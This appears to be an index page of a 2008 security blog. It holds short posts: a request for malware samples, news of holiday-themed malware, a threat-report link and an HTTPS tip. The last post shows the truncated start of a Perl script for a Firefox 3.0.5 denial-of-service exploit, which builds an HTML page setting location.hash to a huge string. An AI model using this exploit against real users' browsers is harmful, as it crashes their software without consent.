Sunday, December 28th, 2008
I am looking to do some analysis on various pieces of malware. Please forward me some of your junk and any questionable attachments that you may get in your Inbox. This will be private analysis so please do not expect to hear anything back about what you send.
Please send to:
[email protected]
Thanks,
Troy
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Thursday, December 25th, 2008
New malware is spreading via Christmas and holiday greetings, security researchers said today, a tactic reminiscent of those used last season by the notorious Storm Trojan horse.
Researchers at the Bach Khoa Internetwork Security Center in Hanoi, Vietnam reported today that a new piece of malware, dubbed "XmasStorm" by the center, ...
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Tuesday, December 23rd, 2008
This picture just about sums it up:
Picture Source:
http://www.sophos.com/sophos/docs/eng/marketing_material/sophos-security-threat-report-jan-2009-na.pdf
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Tuesday, December 23rd, 2008
Here's a quick little tip for users that might not know enough about internet security and privacy to stop and look for SSL/TLS (https://) when submitting forms on the web. Or maybe the form page itself is on an unencrypted page, but the data actually gets sent encrypted when the ...
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Tuesday, December 23rd, 2008
#!/usr/bin/perl
# mzff_lhash_dos.pl
# Mozilla Firefox 3.0.5 location.hash Denial of Service Exploit
# Jeremy Brown [
[email protected]/jbrownsec.blogspot.com]
# Crash on Vista, play with it on XP
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename.html>\n\n";
}
$head = "<html>" . "\n" . "<script type=\"text/javascript\">" . "\n";
$trig = "location.hash = \"" . "A" x 20000000 . "\";" ...
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